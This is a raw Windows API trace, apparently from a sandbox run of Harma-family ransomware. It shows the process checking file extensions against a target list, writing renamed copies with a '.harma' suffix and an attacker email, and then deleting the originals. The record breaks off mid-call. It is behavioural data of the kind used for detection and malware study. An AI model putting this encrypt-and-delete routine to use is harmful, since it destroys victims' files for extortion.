[0145.449] lstrlenW (lpString=".bz2") returned 4 [0145.449] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString=".7z") returned 3 [0145.449] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString=".dbf") returned 4 [0145.449] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString=".1cd") returned 4 [0145.449] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString=".jpg") returned 4 [0145.450] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.450] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.450] lstrlenW (lpString="Couture.eftx") returned 12 [0145.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0145.509] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1967905) returned 1 [0145.509] CloseHandle (hObject=0x358) returned 1 [0145.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0145.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.565] lstrlenW (lpString=".doc") returned 4 [0145.565] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".docx") returned 5 [0145.565] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.565] lstrlenW (lpString=".pdf") returned 4 [0145.565] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".xls") returned 4 [0145.565] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".xlsx") returned 5 [0145.565] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.565] lstrlenW (lpString=".ppt") returned 4 [0145.565] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.565] lstrlenW (lpString=".zip") returned 4 [0145.565] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".rar") returned 4 [0145.565] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".bz2") returned 4 [0145.565] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.565] lstrlenW (lpString=".7z") returned 3 [0145.565] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.565] lstrlenW (lpString=".dbf") returned 4 [0145.565] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString=".1cd") returned 4 [0145.566] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString=".jpg") returned 4 [0145.566] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString=".doc") returned 4 [0145.566] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".docx") returned 5 [0145.566] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.566] lstrlenW (lpString=".pdf") returned 4 [0145.566] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".xls") returned 4 [0145.566] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".xlsx") returned 5 [0145.566] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.566] lstrlenW (lpString=".ppt") returned 4 [0145.566] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString=".zip") returned 4 [0145.566] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".rar") returned 4 [0145.566] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".bz2") returned 4 [0145.566] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString=".7z") returned 3 [0145.566] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.566] lstrlenW (lpString=".dbf") returned 4 [0145.566] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.567] lstrlenW (lpString=".1cd") returned 4 [0145.567] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0145.567] lstrlenW (lpString=".jpg") returned 4 [0145.567] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.567] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.567] lstrlenW (lpString="Equity.eftx") returned 11 [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.568] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=24611) returned 1 [0145.568] CloseHandle (hObject=0x344) returned 1 [0145.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0145.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.568] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.569] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.569] GetLastError () returned 0x0 [0145.569] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x6023, lpOverlapped=0x0) returned 1 [0145.572] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x6030, lpOverlapped=0x0) returned 1 [0145.573] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.574] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0145.574] SetEndOfFile (hFile=0x350) returned 1 [0145.574] CloseHandle (hObject=0x350) returned 1 [0145.574] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.574] SetEndOfFile (hFile=0x344) returned 1 [0145.578] CloseHandle (hObject=0x344) returned 1 [0145.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0145.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.579] lstrlenW (lpString=".doc") returned 4 [0145.579] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.579] lstrlenW (lpString=".docx") returned 5 [0145.579] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.579] lstrlenW (lpString=".pdf") returned 4 [0145.579] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.579] lstrlenW (lpString=".xls") returned 4 [0145.579] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.579] lstrlenW (lpString=".xlsx") returned 5 [0145.579] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.579] lstrlenW (lpString=".ppt") returned 4 [0145.579] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.579] lstrlenW (lpString=".zip") returned 4 [0145.579] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".rar") returned 4 [0145.580] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".bz2") returned 4 [0145.580] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".7z") returned 3 [0145.580] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString=".dbf") returned 4 [0145.580] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString=".1cd") returned 4 [0145.580] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString=".jpg") returned 4 [0145.580] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString=".doc") returned 4 [0145.580] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".docx") returned 5 [0145.580] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.580] lstrlenW (lpString=".pdf") returned 4 [0145.580] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".xls") returned 4 [0145.580] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString=".xlsx") returned 5 [0145.580] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.580] lstrlenW (lpString=".ppt") returned 4 [0145.580] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.580] lstrlenW (lpString=".zip") returned 4 [0145.581] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.581] lstrlenW (lpString=".rar") returned 4 [0145.581] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.581] lstrlenW (lpString=".bz2") returned 4 [0145.581] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.581] lstrlenW (lpString=".7z") returned 3 [0145.581] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.581] lstrlenW (lpString=".dbf") returned 4 [0145.581] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.581] lstrlenW (lpString=".1cd") returned 4 [0145.581] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0145.581] lstrlenW (lpString=".jpg") returned 4 [0145.581] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.581] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.581] lstrlenW (lpString="Essential.eftx") returned 14 [0145.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.582] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=16350) returned 1 [0145.582] CloseHandle (hObject=0x344) returned 1 [0145.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0145.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.583] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.583] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.583] GetLastError () returned 0x0 [0145.584] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x3fde, lpOverlapped=0x0) returned 1 [0145.585] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0145.587] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.587] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0145.587] SetEndOfFile (hFile=0x350) returned 1 [0145.587] CloseHandle (hObject=0x350) returned 1 [0145.587] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.587] SetEndOfFile (hFile=0x344) returned 1 [0145.589] CloseHandle (hObject=0x344) returned 1 [0145.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString=".doc") returned 4 [0145.591] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".docx") returned 5 [0145.591] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.591] lstrlenW (lpString=".pdf") returned 4 [0145.591] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".xls") returned 4 [0145.591] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".xlsx") returned 5 [0145.591] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.591] lstrlenW (lpString=".ppt") returned 4 [0145.591] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString=".zip") returned 4 [0145.591] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".rar") returned 4 [0145.591] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".bz2") returned 4 [0145.591] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString=".7z") returned 3 [0145.591] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString=".dbf") returned 4 [0145.591] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString=".1cd") returned 4 [0145.591] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.591] lstrlenW (lpString=".jpg") returned 4 [0145.591] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString=".doc") returned 4 [0145.592] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".docx") returned 5 [0145.592] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.592] lstrlenW (lpString=".pdf") returned 4 [0145.592] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".xls") returned 4 [0145.592] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".xlsx") returned 5 [0145.592] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.592] lstrlenW (lpString=".ppt") returned 4 [0145.592] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString=".zip") returned 4 [0145.592] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".rar") returned 4 [0145.592] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".bz2") returned 4 [0145.592] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString=".7z") returned 3 [0145.592] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString=".dbf") returned 4 [0145.592] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString=".1cd") returned 4 [0145.592] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0145.592] lstrlenW (lpString=".jpg") returned 4 [0145.592] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.593] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.593] lstrlenW (lpString="Executive.eftx") returned 14 [0145.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.594] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=21156) returned 1 [0145.594] CloseHandle (hObject=0x344) returned 1 [0145.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0145.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.594] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.595] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.595] GetLastError () returned 0x0 [0145.595] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x52a4, lpOverlapped=0x0) returned 1 [0145.599] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, 